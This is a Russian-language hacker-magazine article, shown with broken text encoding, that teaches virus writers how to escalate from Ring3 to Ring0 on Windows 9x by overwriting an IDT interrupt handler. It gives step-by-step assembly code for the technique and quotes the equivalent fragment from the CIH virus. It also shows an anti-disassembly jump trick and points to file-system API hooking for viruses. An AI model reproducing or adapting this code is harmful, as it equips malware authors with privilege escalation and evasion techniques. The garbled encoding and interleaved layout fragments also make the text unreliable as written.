Íàïðèìåð, âîò òàêîé õèòðûé ïðûæîê:

jmp .ntdbg+2
.ntdbg:
dw 0xc606
..........

IDA òàêèì ïðîñòûì òðèêîì íå îáìà-
íóòü, íî áîëüøèíñòâî äèçàññåìáëå-
ðîâ âûäàþò â ýòîì ìåñòå âñÿêèé áåñ-
ïîëåçíûé ìóñîð. ×åãî è òðåáîâàëîñü
äîáèòüñÿ.

ÇÀÊËÞ×ÅÍÈÅ
Êàê íè ñòàðàéñÿ, ïîëíîñòüþ íå çà-

ùèòèøüñÿ îò àíòèâèðóñíèêîâ. Êàê íè
ïûòàéñÿ, íå ñîçäàøü àáñîëþòíî íåäå-
òåêòèðóåìûé âèðóñ. Âèðóñû è àíòèâè-
ðóñû - äâå ñòîðîíû îäíîé ìåäàëè. È
íå áóäåò îäíîãî áåç äðóãîãî. Íî ýòî
óæå ôèëîñîôèÿ.                           A
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Îñíîâíûì ñïîñîáîì äåòåêòèðîâàíèÿ 
âèðóñîâ ÿâëÿåòñÿ ïðîâåðêà ïî ñèãíàòóðå.

Ïðàêòè÷åñ-
êè íåâîç-
ìîæíî íà-
ïèñàòü çà-
ùèùåííûé
âèðóñ, íå
ïîíèìàÿ,
êàê ðàáîòà-
åò àíòèâè-
ðóñ.
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...ïðîâåðêà íà SoftIce ëåãêî ëå÷èòñÿ èñïðàâëåíèåì âîò ýòèõ ñòðî÷åê...



Íà ðåëèçå
Win95
Ãåéòñ ñêà-
çàë, ÷òî íî-
âàÿ ñèñòåìà
íà 100%
çàùèùåíà
îò âèðóñíîé
óãðîçû, òàê
êàê, áëàãî-
äàðÿ èñ-
ïîëüçîâà-
íèþ îñîáûõ
òåõíîëîãèé,
îíà íåçàðà-
æàåìà â
ïðèíöèïå. 

Shen (_shen_@mail.ru)

Ï èñàòü âèðè ïîä Win32, íå èñïîëüçóÿ âîçìîæíîñòåé Ring0 - ýòî âñå ðàâíî ÷òî ïèñàòü DOS-âèðóñû, íå ïîëüçóÿñü
òðèíàäöàòûì ïðåðûâàíèåì èëè ïîðòàìè ââîäà/âûâîäà :). Â ýòîé ñòàòüå ìû íàó÷èìñÿ îäíîìó èç âàæíåéøèõ

âèðìåéêåðñêèõ ïðèåìîâ - ïðîíèêíîâåíèþ â íóëåâîå êîëüöî çàùèòû Windows9x!

RING0
ÓÕÎÄ Â ÍÓËÅÂÎÅ ÊÎËÜÖÎ ÇÀÙÈÒÛ WIN9X

åðâî-íàïåðâî ÿ âêðàò-
öå ðàññêàæó òåáå î
òîì, ÷òî òàêîå protect-
ed mode aka çàùèùåí-
íûé ðåæèì. Òû ñïðà-

øèâàåøü, çà÷åì âèðìåéêåðó çíàòü
PM? Õì. Íà ðåëèçå Win95 Ãåéòñ ñêà-
çàë, ÷òî íîâàÿ ñèñòåìà íà 100% çà-
ùèùåíà îò âèðóñíîé óãðîçû, òàê êàê,
áëàãîäàðÿ èñïîëüçîâàíèþ îñîáûõ
òåõíîëîãèé, îíà íåçàðàæàåìà â ïðèí-
öèïå. Îí èìåë â âèäó, ÷òî âñå âçàèìî-
äåéñòâèå ïîòåíöèàëüíîãî âèðìåéêå-
ðà ñ ñèñòåìîé áóäåò ïðîõîäèòü íå
íàïðÿìóþ, à ÷åðåç íåêèé øëþç. Ðîëü
òàêîãî øëþçà â Win32-ñèñòåìàõ èãðà-
åò API. Íà ýòó òåìó ìîæíî åùå ìíîãî
ðàçãëàãîëüñòâîâàòü, íî ôàêò îñòàåò-
ñÿ ôàêòîì: åñëè ïèñàòü ïîä Windows
òðàäèöèîííûì, òàê ñêàçàòü, îôèöè-
àëüíûì ñïîñîáîì, îá ýôôåêòèâíûõ
âèðóñàõ äåéñòâèòåëüíî ìîæíî çà-
áûòü. Íî êòî ñêàçàë, ÷òî íåò àëüòåð-
íàòèâíûõ ìåòîäîâ? Îäèí èç òàêèõ ìå-
òîäîâ îïèñàí â ýòîé ñòàòüå. Íî äëÿ
ïîíèìàíèÿ åãî ñóòè òåáå íàäî êîå-÷òî
çíàòü î çàùèùåííîì ðåæèìå ïðîöåñ-
ñîðà. Äóìàþ, òû õîòü íåìíîãî çíàåøü
àññåìáëåð, ïîýòîìó ÿ íå áóäó îáúÿñ-
íÿòü, ÷òî çíà÷èò "mov word ptr".

PM AKA ÇÀÙÈÙÅÍÊÀ
286+ ïðîöåññîð èìååò äâà ðåæè-

ìà ðàáîòû: ðåàëüíûé è çàùèùåííûé
(íà ñàìîì äåëå, åñòü åùå îäèí - V86,
íî äëÿ íàñ ýòî íåñóùåñòâåííî). Ðå-
àëüíûé - ýòî òàáëèöà âåêòîðîâ ïðåðû-
âàíèé, ñâîáîäíûé äîñòóï ê ïîðòàì è
ïðî÷èå ïðåëåñòè. Ðåæèì çàùèùåí-
íûé íàìíîãî ñëîæíåå è çàïóòàííåå,
íî íè÷åãî íå ïîäåëàåøü - ïðèäåòñÿ
ðàçáèðàòüñÿ. Ê òîìó æå, â ýòîò ðàç ìû
êîñíåìñÿ åãî ñîâñåì ÷óòü-÷óòü.

Çà÷åì âîîáùå íóæåí çàùèùåííûé
ðåæèì? Ïðèíÿòî ñ÷èòàòü, ÷òî DOS -
ýòî îäíîçàäà÷íàÿ ÎÑü. Ïîçâîëüòå, à
êàê æå òîãäà ðåçèäåíòû? Òàê ÷òî ìíî-
ãîçàäà÷íîñòü â DOS'å áûëà, íî íå òà-
êàÿ, êàêîé áû åå õîòåëîñü âèäåòü: îò-
ñóòñòâèå ïðèîðèòåòîâ ïðè ïåðåêëþ÷å-
íèè çàäà÷, åäèíîå àäðåñíîå ïðîñòðàí-
ñòâî äëÿ âñåõ çàïóùåííûõ ïðîöåññîâ
è ò.ä. Âñåõ ýòèõ íåäîñòàòêîâ ëèøåí çà-

ùèùåííûé ðåæèì, ïðåäîñòàâëÿþùèé
ïðèíöèïèàëüíî íîâûå âîçìîæíîñòè
äëÿ ðåàëèçàöèè ìíîãîçàäà÷íîñòè, è
îäíà èç ýòèõ âîçìîæíîñòåé - çàùèòà
ïðîãðàìì îò âçàèìíîãî âëèÿíèÿ, êîòî-
ðàÿ è äàëà íàçâàíèå âñåìó ðåæèìó.

Ïåðâîå, ÷òî òû äîëæåí óçíàòü, òàê ýòî
ïîíÿòèÿ "ñåãìåíò", "äåñêðèïòîð" è
"ñåëåêòîð". Ñåãìåíò, ãðóáî ãîâîðÿ -
ýòî èçîëèðîâàííûé êóñîê ïàìÿòè.
Äåñêðèïòîð - ýòî ñòðóêòóðà, îïèñûâà-
þùàÿ êîíêðåòíûé ñåãìåíò. Â äåñêðèï-
òîðå ñîäåðæèòñÿ òàêàÿ èíôîðìàöèÿ,
êàê àäðåñ ñåãìåíòà â ïàìÿòè, åãî ðàç-
ìåð, òèï, ïðèâèëåãèè è ò.ä. Âñå äåñê-
ðèïòîðû ñîáèðàþòñÿ â òðè îñíîâíûå
òàáëèöû: GDT (Global Descriptor Table),
LDT (Local Descriptor Table) è IDT
(Interrupt Descriptor Table). ß ñêàçàë,

òðè òàáëèöû. Íå ñîâñåì òàê, ïîòîìó
÷òî LDT ìîæåò áûòü è íå îäíà, íà òî
îíà è ëîêàëüíàÿ. Ñåëåêòîð - ýòî èäåí-
òèôèêàòîð äåñêðèïòîðà, óêàçàòåëü íà
äåñêðèïòîð â òàáëèöå äåñêðèïòîðîâ.
Õðàíèòñÿ îí â êàæäîì èç ñåãìåíòíûõ
ðåãèñòðîâ - CS, DS è ò.ä. (ïîìíèøü, â
ðåàëüíîì ðåæèìå òàì õðàíèëàñü áàçà
ñåãìåíòîâ êîäà, äàííûõ è ñòåêà). Ïðî-
öåññîð, ïðè îáðàùåíèè ê ñåãìåíòó,
ñíà÷àëà èçâëåêàåò èç ñåãìåíòíîãî ðå-
ãèñòðà ñåëåêòîð, ñ ïîìîùüþ ñåëåêòî-
ðà íàõîäèò â òàáëèöå äåñêðèïòîð, à
óæå â äåñêðèïòîðå îïèñàíî ïîëîæå-
íèå òðåáóåìîãî ñåãìåíòà â ïàìÿòè,
ïðèâèëåãèè è ò.ä.

Ïðîöåññîð, íàõîäÿñü â çàùèùåííîì
ðåæèìå, ÷åòêî ñëåäèò, ÷òîáû îäíîâðå-
ìåííî ðàáîòàþùèå ïðîãðàììû íå
èìåëè äîñòóïà â ñåãìåíòû äðóã äðóãà,
òàêèì îáðàçîì êàæäàÿ ïðîãðàììà ðà-
áîòàåò â ñâîåì ñåãìåíòå (èëè ãðóïïå

ñåãìåíòîâ), íå âûõîäÿ çà åãî ïðåäåëû.
Â ýòîì è çàêëþ÷àåòñÿ çàùèòà ïðîã-
ðàìì îò âçàèìíîãî âëèÿíèÿ, êîòîðîé
òàê íå õâàòàëî â real mode.

Äðóãèì âàæíûì ïðåèìóùåñòâîì çà-
ùèùåííîãî ðåæèìà ÿâëÿåòñÿ âîç-
ìîæíîñòü ðåàëèçàöèè ìåõàíèçìà
ñòðàíè÷íîé âèðòóàëüíîé ïàìÿòè, êî-
òîðûé ïîçâîëÿåò âûãðóæàòü íåèñ-
ïîëüçóåìûå ñòðàíèöû ïàìÿòè íà äèñê
è çàãðóæàòü èõ îáðàòíî â îïåðàòèâêó,
òîëüêî êîãäà îíè ïîòðåáóþòñÿ. Òîò æå
ìåõàíèçì êýøèðóåò ÷àñòî èñïîëüçóå-
ìûå ñòðàíèöû äëÿ óñêîðåíèÿ äîñòóïà
ê íèì. Âñå ýòî ñóùåñòâåííî ïîâûøàåò
ïðîèçâîäèòåëüíîñòü ñèñòåìû.

Ëþáîé, äàæå ñàìûé íàâîðî÷åííûé,
ïðîöåññîð ïðè âêëþ÷åíèè êîìïüþòå-

ðà íà÷èíàåò ñâîþ ðàáîòó â ðåàëüíîì
ðåæèìå. Ïåðåõîä â PM íåîáõîäèìî
îñóùåñòâëÿòü âðó÷íóþ. Èíôîðìàöèÿ
î òîì, â êàêîì ðåæèìå â íàñòîÿùåå
âðåìÿ ðàáîòàåò ïðîöåññîð, õðàíèòñÿ â
íóëåâîì áèòå ðåãèñòðà CR0 (0 - ðåàëü-
íûé, 1 - PM), òàêèì îáðàçîì, ïåðåâîä
ïðîöåññîðà â çàùèùåííûé ðåæèì
çàêëþ÷àåòñÿ â óñòàíîâêå ýòîãî ñàìîãî
íóëåâîãî áèòà â çíà÷åíèå 1:

mov eax, cr0 ; êàê è ê áîëüøèí-
ñòâó ñèñòåìíûõ ðåãèñòðîâ, 
or al, 1 ; ê cr0 íåëüçÿ îáðàùàòüñÿ
íàïðÿìóþ
mov cr0, eax

Íî íå âñå òàê ïðîñòî: ïðåæäå ÷åì ïå-
ðåõîäèòü â PM, íóæíî ïðèãîòîâèòü
âñå íåîáõîäèìûå äëÿ íåãî ñòðóêòóðû:
GDT, LDT, IDT. È åñëè áåç ïîñëåäíèõ
äâóõ ìîæíî îáîéòèñü, GDT äîëæíà
ïðèñóòñòâîâàòü âñåãäà. Òàê êòî æå ïå-

Ï
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Ðåæèì çàùèùåííûé íàìíîãî 
ñëîæíåå è çàïóòàííåå, 

íî íè÷åãî íå ïîäåëàåøü - 
ïðèäåòñÿ ðàçáèðàòüñÿ
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ðåêëþ÷àåò ïðîöåññîð â çàùèùåííûé
ðåæèì? Ïðè çàãðóçêå êîìïüþòåðà,
ïîñëå âûïîëíåíèÿ òåñòîâ ïàìÿòè è
óñòðîéñòâ (POST), ÁÈÎÑ ïåðåäàåò óï-
ðàâëåíèå çàãðóç÷èêó ÎÑ, êîòîðûé è
îñóùåñòâëÿåò ïåðåõîä â PM. Äîáàâ-
ëþ, ÷òî ïðîöåññîð ïîçâîëÿåò èçìå-
íÿòü ðåãèñòð CR0 òîëüêî ïðîãðàììàì,
ðàáîòàþùèì íà íóëåâîì êîëüöå çà-
ùèòû. ×òî ýòî çà êîëüöî òàêîå? Ïëàâ-
íî ïåðåõîäèì ê óðîâíÿì ïðèâèëåãèé...

ÊÎËÜÖÀ ÇÀÙÈÒÛ
Â èíòåëîâñêîì ïðîöåññîðå ðåàëè-

çîâàí ìåõàíèçì "óðîâíåé çàùèòû",
çàêëþ÷àþùèéñÿ â òîì, ÷òî êàæäàÿ
ïðîãðàììà èìååò îäèí èç ÷åòûðåõ
óðîâíåé ïðèâèëåãèé (0-3, ãäå íóëåâîé
- ñàìûé ïðèâèëåãèðîâàííûé). Íàïðè-
ìåð, âîçìîæíîå ðàñïðåäåëåíèå: 0 -
ÿäðî ñèñòåìû, 1 - äðàéâåðû, 2-3 - ïîëü-
çîâàòåëüñêèå ïðîãðàììû. Òû åùå
ïîìíèøü ïðî ñåãìåíòû, äåñêðèïòîðû
è ñåëåêòîðû? Êàæäàÿ ïðîãðàììà âëà-
äååò, ïî ìåíüøåé ìåðå, äâóìÿ ñåãìåí-
òàìè: êîäà è äàííûõ. Ïðè çàïóñêå
ïðîãðàììû îïåðàöèîíêà ñîçäàåò äåñê-
ðèïòîðû äëÿ ýòèõ ñåãìåíòîâ è ïðèñâà-
èâàåò ýòîé ïðîãðàììå îïðåäåëåííûé
óðîâåíü ïðèâèëåãèé, çàïèñûâàÿ ñîîò-
âåòñòâóþùåå çíà÷åíèå â ïîëå DPL
(Descriptor Privilege Level) äåñêðèïòî-
ðà ñåãìåíòà êîäà. Îáû÷íàÿ ïðîãðàììà
íå ìîæåò èçìåíèòü ýòî çíà÷åíèå, íî
ìîæåò óçíàòü åãî. Ïîëå DPL äåñêðèï-
òîðà ñåãìåíòà êîäà êîïèðóåòñÿ â ïîëå
RPL ñåëåêòîðà ýòîãî äåñêðèïòîðà. Ñå-
ëåêòîð äåñêðèïòîðà êîäà õðàíèòñÿ â
ñåãìåíòíîì ðåãèñòðå CS, ïîýòîìó
ïðîãðàììà ìîæåò óçíàòü, êàêîé óðî-
âåíü ïðèâèëåãèé îíà èìååò, íî íå ìî-

æåò èçìåíèòü åãî. Íå ïîìîæåò äàæå
èçìåíåíèå ïîëÿ RPL ñåëåêòîðà - ÎÑ
ïðåäîñòàâëÿåò ïðîãðàììå äîñòóï êó-
äà-ëèáî, îñíîâûâàÿñü íà áîëüøåì èç
çíà÷åíèé DPL è RPL. Òàêèì îáðàçîì,
ïðîãðàììà íå ñìîæåò îáðàòèòüñÿ ê áî-

ëåå ïðèâèëåãèðîâàííîìó ñåãìåíòó, íî
ìîæåò ñäåëàòü çàïðîñ íà äîñòóï ê ìå-
íåå ïðèâèëåãèðîâàííîìó. Äëÿ ýòîãî è
ñóùåñòâóåò âîçìîæíîñòü èçìåíåíèÿ
ïîëÿ RPL ñåëåêòîðà (Requested
Privilege Level - çàïðàøèâàåìûé óðî-
âåíü ïðèâèëåãèé).
Windows èñïîëüçóåò òîëüêî äâà óðîâ-
íÿ (êîëüöà): íóëåâîé äëÿ ñåáÿ è òðå-
òèé äëÿ âñåõ îñòàëüíûõ. Ò.å. ëþáàÿ íà-
ïèñàííàÿ íàìè Win32-ïðîãðàììà áó-

äåò ðàáîòàòü â òðåòüåì êîëüöå è
èìåòü íàèìåíüøèé óðîâåíü ïðèâèëå-
ãèé! Ïîìíèøü, ÷òî ñêàçàë Ãåéòñ íàñ-
÷åò âèðóñîâ è Win95? Åäèíñòâåííûì
äîêóìåíòèðîâàííûì ìåòîäîì îáðà-
òèòüñÿ ê ñåðâèñàì íóëåâîãî êîëüöà
ÿâëÿåòñÿ íàïèñàíèå VxD, íî ýòî ÷å-
ðåñ÷óð ãðîìîçäêèé è íåóäîáíûé ñïî-
ñîá. À äðóãèõ âîçìîæíîñòåé ïåðåéòè ñ
òðåòüåãî ïîëüçîâàòåëüñêîãî êîëüöà
íà íóëåâîå ñèñòåìíîå íåò! Íî íå çðÿ
æå ÿ ñêàçàë "åäèíñòâåííûì äîêóìåí-
òèðîâàííûì ìåòîäîì". Âñåãî æå â äî-
êóìåíòàöèè íå óïîìÿíåøü :). È âîò,
ìû âïëîòíóþ ïîäîáðàëèñü ê òåìå
ñòàòüè: êàê æå âñå-òàêè ïîïàñòü íà
âîæäåëåííûé íîëü-óðîâåíü?

ÏÐÅÐÛÂÀÍÈß
Ïîìíèøü, ÿ ãîâîðèë î òðåõ äåñê-

ðèïòîðíûõ òàáëèöàõ: GDT, LDT è IDT?
Íàñ áóäåò èíòåðåñîâàòü ïîñëåäíÿÿ -
IDT. Êðàéíå èíòåðåñíûì äëÿ íàñ ÿâëÿ-
åòñÿ òîò ôàêò, ÷òî â ýòîé òàáëèöå õðà-
íÿòñÿ äåñêðèïòîðû ïðåðûâàíèé è èñê-
ëþ÷åíèé, ò.å. Interrupt Descriptor Table
çàùèùåííîãî ðåæèìà - ýòî àíàëîã
Interrupt Vector Table ðåæèìà ðåàëü-
íîãî. Êîãäà âîçíèêàåò èñêëþ÷åíèå,
ïðîöåññîð èùåò â IDT çàïèñü ñ ñîîò-
âåòñòâóþùèì íîìåðîì è ïåðåäàåò óï-
ðàâëåíèå îáðàáîò÷èêó ïî àäðåñó, õðà-
íÿùåìóñÿ â äåñêðèïòîðå. Èñêëþ÷åíèÿ
îáðàáàòûâàþòñÿ íà íóëåâîì óðîâíå
ïðèâèëåãèé. Ñòîï! Îáðàáîò÷èê èñêëþ-
÷åíèÿ ðàáîòàåò â Ring0, à ïðîãðàììà,
âûçâàâøàÿ èñêëþ÷åíèå - â Ring3?
Êàê æå òàê? Äëÿ ðàçðåøåíèÿ òàêîãî
ïðîòèâîðå÷èÿ èñïîëüçóåòñÿ ìåõàíèçì
øëþçîâ. Øëþç - ýòî ñïåöèàëüíûé
îáúåêò, ÷åðåç êîòîðûé ïðîöåññîð ìî-
æåò "ïåðåäâèãàòüñÿ" ìåæäó óðîâíÿìè
çàøèòû. Êîãäà ïðîãðàììà íà òðåòüåì
óðîâíå âûçûâàåò èñêëþ÷åíèå, ïðî-

öåññîð ÷åðåç øëþç ñïóñêàåòñÿ íà íó-
ëåâîé óðîâåíü, ïåðåäàåò óïðàâëåíèå
îáðàáîò÷èêó, à êîãäà îáðàáîò÷èê
âîçâðàùàåò óïðàâëåíèå, ïðîöåññîð,
îïÿòü æå ÷åðåç øëþç, âîçâðàùàåòñÿ
â Ring3. Ò.å. êîãäà óïðàâëåíèå ïîëó÷à-
åò îáðàáîò÷èê, îí àâòîìàòè÷åñêè èìå-
åò íàèâûñøèé óðîâåíü ïðèâèëåãèé.
Íè÷åãî íå ïðèõîäèò â ãîëîâó? À åñëè
ÿ ñêàæó, ÷òî Win9x ðàçðåøàåò ïðîã-
ðàììàì ñ òðåòüåãî êîëüöà áåçíàêà-
çàííî ìîäèôèöèðîâàòü IDT? Âèäèìî,
ýòî ó Microsoft òàêàÿ òðàäèöèÿ, ôèð-
ìåííûé ïî÷åðê - ïðåäîñòàâëÿòü ñâî-
áîäíûé äîñòóï ê òàáëèöàì âåêòîðîâ
ïðåðûâàíèé, ÷òî â ðåàëüíîì, ÷òî â çà-
ùèùåííîì ðåæèìå :). ×òî áóäåò, åñëè
ìû ïîäìåíèì àäðåñ îáðàáîò÷èêà ïðå-
ðûâàíèÿ N â ñîîòâåòñòâóþùåì äåñê-
ðèïòîðå íà àäðåñ ñâîåé ïðîöåäóðû, à
ïîòîì èç íàøåé Ring3-ïðîãðàììû âû-
çîâåì ýòî ñàìîå ïðåðûâàíèå N? Âåð-
íî! Ïðîöåññîð ïåðåéäåò íà íóëåâîé
óðîâåíü çàùèòû, íàéäåò â íóæíîì
äåñêðèïòîðå àäðåñ îáðàáîò÷èêà è ïå-
ðåäàñò òîìó óïðàâëåíèå. Ò.å. "âêëþ÷èò
ðåæèì Ring0" è ïåðåäàñò óïðàâëåíèå
íàøåé ïðîöåäóðå! Òàì ìû áóäåì âñÿ-
÷åñêè íàñëàæäàòüñÿ ïîëíûì äîñòóïîì
ê ðåñóðñàì êîìïüþòåðà è ñàìîé ñèñòå-
ìû, à êîãäà íàäîåñò, âåðíåì óïðàâëå-
íèå ïðîöåññîðó, òîò ÷åðåç øëþç "ïîä-
íèìåò" íàñ íà Ring3, ãäå ìû ñïîêîéíî
ïðîäîëæèì ðàáîòó íà "þçåðñêîì"
óðîâíå. Ïðàâäà, ïåðåä ýòèì íàì ïðè-
äåòñÿ âîññòàíîâèòü â IDT ñòàðûé àä-
ðåñ îáðàáîò÷èêà, ÷òîáû íå íàðóøèòü
ðàáîòó îïåðàöèîíêè è íå âûçâàòü
ëèøíèõ ïîäîçðåíèé. Èòàê, íà÷èíàåì
ïèñàòü. Íàì ïîòðåáóåòñÿ Tasm 5.0 è
ñàìà Win9x, áîëüøå íè÷åãî.

ÊÎÄ
Ïðèìåðíàÿ ïîñëåäîâàòåëüíîñòü

äåéñòâèé:
1. Ñîõðàíèòü àäðåñ ñòàðîãî îáðà-

áîò÷èêà.
2. Ìîäèôèöèðîâàòü IDT, ïîäìåíèâ

àäðåñ îáðàáîò÷èêà íà àäðåñ íàøåé
ïðîöåäóðû.
3. Âûçâàòü ïåðåõâà÷åííîå ïðåðû-

âàíèå.
4. Ïîñèäåòü â Ring0 :).
5. Âîññòàíîâèòü àäðåñ ñòàðîãî îá-

ðàáîò÷èêà.
Âåñü íàø ïëàí îñíîâàí íà ìàíèïóëÿ-
öèÿõ ñ IDT. Íî ìû âåäü äàæå íå çíàåì,
ãäå íàõîäèòñÿ ýòà IDT, ó íåå íåò ôèê-
ñèðîâàííîãî ïîëîæåíèÿ â ïàìÿòè.
Äëÿ ýòîãî â ïðîöåññîðå ñóùåñòâóåò
ãðóïïà ðåãèñòðîâ, ñâÿçàííûõ ñ òàáëè-
öàìè äåñêðèïòîðîâ: GDTR, LDTR è
IDTR. Íàñ, åñòåñòâåííî, èíòåðåñóåò
ïîñëåäíèé. Â íåì õðàíèòñÿ ðàçìåð
òàáëèöû (ïðàâèëüíåå, ïðåäåë) è àäðåñ

63

Âñå äåñê-
ðèïòîðû ñî-
áèðàþòñÿ â
òðè îñíîâ-
íûå òàáëè-
öû: GDT
(Global
Descriptor
Table), LDT
(Local
Descriptor
Table) è IDT
(Interrupt
Descriptor
Table). 
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Êîëüöà çàùèòû

Ôîðìàò ðåãèñòðà IDTR

Äðóãèõ âîçìîæíîñòåé ïåðåéòè
ñ òðåòüåãî ïîëüçîâàòåëüñêîãî 

êîëüöà íà íóëåâîå 
ñèñòåìíîå íåò



Ïðè çàïóñêå
ïðîãðàììû
îïåðàöèîí-
êà ñîçäàåò
äåñêðèïòî-
ðû äëÿ ýòèõ
ñåãìåíòîâ è
ïðèñâàèâàåò
ýòîé ïðîã-
ðàììå îïðå-
äåëåííûé
óðîâåíü
ïðèâèëå-
ãèé...

åå íà÷àëà. IDTR - ðåãèñòð ôîðìàòà
fword (word:dword), ò.å. 6-áàéòíûé.
Ïåðâûå 16 ðàçðÿäîâ çàíèìàåò ïðåäåë,
âñå îñòàëüíîå - àäðåñ. Íàì ïîòðåáóåò-
ñÿ òîëüêî àäðåñ, îí íàõîäèòñÿ â IDTR
ïî ñìåùåíèþ +2.

Ê ñîäåðæèìîìó ðåãèñòðà íåëüçÿ îáðà-
ùàòüñÿ íàïðÿìóþ, äëÿ ýòîãî ñóùåñò-
âóåò ïðèâèëåãèðîâàííàÿ êîìàíäà sidt
(Save IDTr):

idtr df 0
�
sidt fword ptr [idtr]

Òåïåðü ìû ìîæåì ïîëó÷èòü àäðåñ íà-
÷àëà IDT:

idtr df 0
�
sidt fword ptr [idtr]
mov ebx,dword ptr [idtr+2]

Ïðèøëî âðåìÿ ðàçîáðàòüñÿ ñ ôîðìà-
òîì äåñêðèïòîðîâ ïðåðûâàíèé.

Âñåãî 8 áàéò. Ñåëåêòîð ñåãìåíòà è ïà-
ðàìåòðû ìû òðîãàòü íå áóäåì, íàñ èí-
òåðåñóåò òîëüêî àäðåñ, òàê è çàïîì-
íèì: ìëàäøåå ñëîâî àäðåñà îáðàáîò-
÷èêà íàõîäèòñÿ ïî ñìåùåíèþ +0 îò
íà÷àëà äåñêðèïòîðà, ñòàðøåå - ïî +6.

Êàê íàéòè â IDT íóæíûé äåñêðèïòîð?
Ó íàñ óæå åñòü àäðåñ íà÷àëà òàáëèöû,
è ìû çíàåì ðàçìåð êàæäîãî äåñêðèï-
òîðà - ÷òî åùå íóæíî?

intnum equ 04h ; ëó÷øå ïåðåõâà-
òûâàòü ìàëîèñïîëüçóåìûå ïðåðûâà-
íèÿ
idtr df 0 ; ñþäà ìû ñîõðàíèì IDTR
�
sidt fword ptr [idtr] ; ñîõðà-
íÿåì IDTR â ïåðåìåííóþ idtr
mov ebx,dword ptr [idtr+2] ; íàì íó-
æåí àäðåñ íà÷àëà, à íå ïðåäåë
add ebx,intnum*8 ; ïåðåõî-
äèì íà íà÷àëî íóæíîãî äåñêðèïòîðà

Âñå, òåïåðü â ebx àäðåñ äåñêðèïòîðà
ïðåðûâàíèÿ ñ íîìåðîì 04h. Ñîõðàíèì
àäðåñ îðèãèíàëüíîãî îáðàáîò÷èêà:

saved dd 0     ; ñþäà ìû ñîõðàíèì àä-
ðåñ ñòàðîãî îáðàáîò÷èêà
�
mov ax,word ptr [ebx+6] ; êëàäåì
â ax ñòàðøåå ñëîâî àäðåñà îáðàáîò-
÷èêà
shl eax,16     ; ñäâèãàåì åãî â ñòàðøåå
ñëîâî eax
mov ax,word ptr [ebx]     ; êëàäåì â ax
ìëàäøåå ñëîâî àäðåñà îáðàáîò÷èêà
mov dword ptr [saved],eax  ; ñîõðàíÿåì

Çàìåíèì â äåñêðèïòîðå àäðåñ îáðà-
áîò÷èêà íà àäðåñ íàøåé ïðîöåäóðû:

mov eax, offset ring0code ; êëàäåì
â ax ñìåùåíèå ïðîöåäóðû
mov word ptr [ebx],ax
; çàìåíÿåì ìëàäøåå ñëîâî àäðåñà
shr eax,16    ; ñäâèãàåì ñòàðøåå ñëîâî
eax â ìëàäøåå
mov word ptr [ebx+6],ax     ; çàìåíÿåì
ñòàðøåå ñëîâî àäðåñà
�
ring0code:     ; ãäå-òî çäåñü íàøà ïðî-
öåäóðà

Âñå! Òîðæåñòâåííûé ìîìåíò - ìîæíî
ãåíåðèòü ïðåðûâàíèå!

int intnum

ÌÛ Â RING0!

ring0code:
; çäåñü ìû ìîæåì äåëàòü ÷òî

óãîäíî,
; âåäü ìû óæå â íóëåâîì

êîëüöå!
iret ; âîçâðàùàåìñÿ â îáû-

äåííîñòü

Òåïåðü ïðèøëà ïîðà ãîðüêèõ ðàçî÷à-
ðîâàíèé. Ïîïðîáóé âûçâàòü èç Ring0
ôóíêöèþ MessageBox. Ïîïðîáóé è
ëþáóéñÿ ñèíèì ýêðàíîì ñ áåëûìè
íàäïèñÿìè :). Äåëî â òîì, ÷òî
Win32API, ê êîòîðûì îòíîñèòñÿ
MessageBox, äîñòóïíû ëèøü íà òðåòü-
åì, ïîëüçîâàòåëüñêîì, óðîâíå. Ring0
ïðåäîñòàâëÿåò äðóãèå ìåòîäû ðàáîòû
- VxD-ñåðâèñû. È, åñëè âäóìàòüñÿ, òî
íèêàêèõ ðàçî÷àðîâàíèé áûòü íå ìî-
æåò - ýòè ñåðâèñû äàþò êîäåðó òàêèå
âîçìîæíîñòè, ÷òî òû óæå íèêîãäà íå
ñìîæåøü çàñòàâèòü ñåáÿ ïîëüçîâàòü-
ñÿ API :). ×åãî ñòîèò òîëüêî óñòàíîâêà
îáðàáîò÷èêà ôàéëîâîé ñèñòåìû!

Îäíàêî, ìû çàäåðæàëèñü, ïîðà äîìîé:

iret

Ïðåæäå ÷åì âûõîäèòü, íóæíî âîññòà-
íîâèòü àäðåñ ñòàðîãî îáðàáîò÷èêà:

mov eax,dword ptr [saved]
mov word ptr [ebx],ax
shr eax,16
mov word ptr [ebx+6],ax

À òåïåðü ìîæíî è çàâåðøàòüñÿ:

push 00h 
call ExitProcess
end start

×ÒÎ ÄÀËÜØÅ?
×òî äåëàòü, îêàçàâøèñü â íóëå-

âîì êîëüöå? Îòêðûâàòü Win95DDK è
ó÷èòüñÿ ïîëüçîâàòüñÿ VxD-ñåðâèñàìè.

ÀËÃÎÐÈÒÌÛ RING064

Ïðåæäå ÷åì âûõîäèòü, 
íóæíî âîññòàíîâèòü 

àäðåñ ñòàðîãî îáðàáîò÷èêà
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Ôîðìàò äåñêðèïòîðà ïðåðûâàíèÿ â IDT

×òîáû íå óâèäåòü òàêóþ òàáëè÷êó, ìû è ïèøåì êëþ÷ /ml

Êàê íàéòè â IDT íóæíûé äåñêðèïòîð? 
Ó íàñ óæå åñòü àäðåñ íà÷àëà òàáëèöû, 

è ìû çíàåì ðàçìåð êàæäîãî 
äåñêðèïòîðà - ÷òî åùå íóæíî?



Òåáå íàâåðíÿêà ïîíðàâèòñÿ ôóíêöèÿ
IFSMgr_InstallFileSystemApiHook :).

Ñêàæó åùå, ÷òî ýòîò ñïîñîá óõîäà â
Ring0 íå åäèíñòâåííûé, íî ñàìûé
ïðîñòîé. È èìåííî ýòîò ìåòîä èñïîëü-
çóåò íåáåçûçâåñòíûé WIN95.CIH
(HookExceptionNumber - íîìåð ïåðåõ-
âàòûâàåìîãî èñêëþ÷åíèÿ,
MyExceptionHook - ïðîöåäóðà èíèöèà-
ëèçàöèè âèðóñà íà íóëåâîì êîëüöå):

push eax 
sidt [esp-02h]
pop ebx

add
ebx,HookExceptionNumber*08h+04h
cli
mov ebp,[ebx]
mov bp,[ebx-04h] 

lea esi,MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h],si 
shr esi,16 
mov [ebx+02h],si 

pop esi

int HookExceptionNumber 

Ê ÷åñòè Microsoft íàäî çàìåòèòü, ÷òî
íà NT-based Âèíîâñ ýòîò òðþê íå ñðà-
áàòûâàåò. Íî êòî ñêàçàë, ÷òî ìû çíàåì
òîëüêî îäèí òðþê ? :)                      A
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Ê ÷åñòè
Microsoft
íàäî çàìå-
òèòü, ÷òî íà
NT-based
Âèíîâñ ýòîò
òðþê íå
